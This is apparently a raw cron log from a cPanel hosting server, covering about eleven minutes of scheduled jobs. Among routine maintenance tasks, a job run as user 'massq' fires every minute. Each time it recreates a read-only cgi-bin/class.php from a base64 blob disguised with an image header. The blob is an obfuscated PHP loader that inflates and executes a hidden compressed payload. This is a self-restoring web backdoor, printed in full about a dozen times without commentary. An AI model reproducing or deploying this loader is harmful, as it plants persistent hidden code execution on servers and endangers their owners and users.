Sep  8 16:04:01 server CROND[885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:04:01 server CROND[886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:05:01 server CROND[1370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 16:05:01 server CROND[1375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:05:01 server CROND[1374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:05:01 server CROND[1384]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 16:05:01 server CROND[1388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:05:01 server CROND[1392]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 16:05:01 server CROND[1393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:05:01 server CROND[1391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:06:01 server CROND[2275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:06:01 server CROND[2276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:06:01 server CROND[2277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:07:01 server CROND[2672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:07:01 server CROND[2673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:07:01 server CROND[2688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:08:01 server CROND[3072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:08:01 server CROND[3073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:08:01 server CROND[3074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:09:01 server CROND[3474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:09:01 server CROND[3476]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 16:09:01 server CROND[3475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:09:01 server CROND[3477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:10:01 server CROND[3976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:10:01 server CROND[3982]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 16:10:01 server CROND[3983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:10:01 server CROND[3987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:10:01 server CROND[3986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:10:01 server CROND[3989]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 16:10:01 server CROND[3988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:10:01 server CROND[3984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 16:11:01 server CROND[4830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:11:01 server CROND[4832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:11:01 server CROND[4833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:12:01 server CROND[5211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:12:01 server CROND[5212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:12:01 server CROND[5213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:12:01 server CROND[5214]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 16:13:01 server CROND[5593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:13:01 server CROND[5594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:13:01 server CROND[5595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:14:01 server CROND[5966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:14:01 server CROND[5968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:14:01 server CROND[5969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:15:01 server CROND[6466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:15:01 server CROND[6468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:15:01 server CROND[6469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:15:01 server CROND[6474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:15:01 server CROND[6470]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 16:15:01 server CROND[6471]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
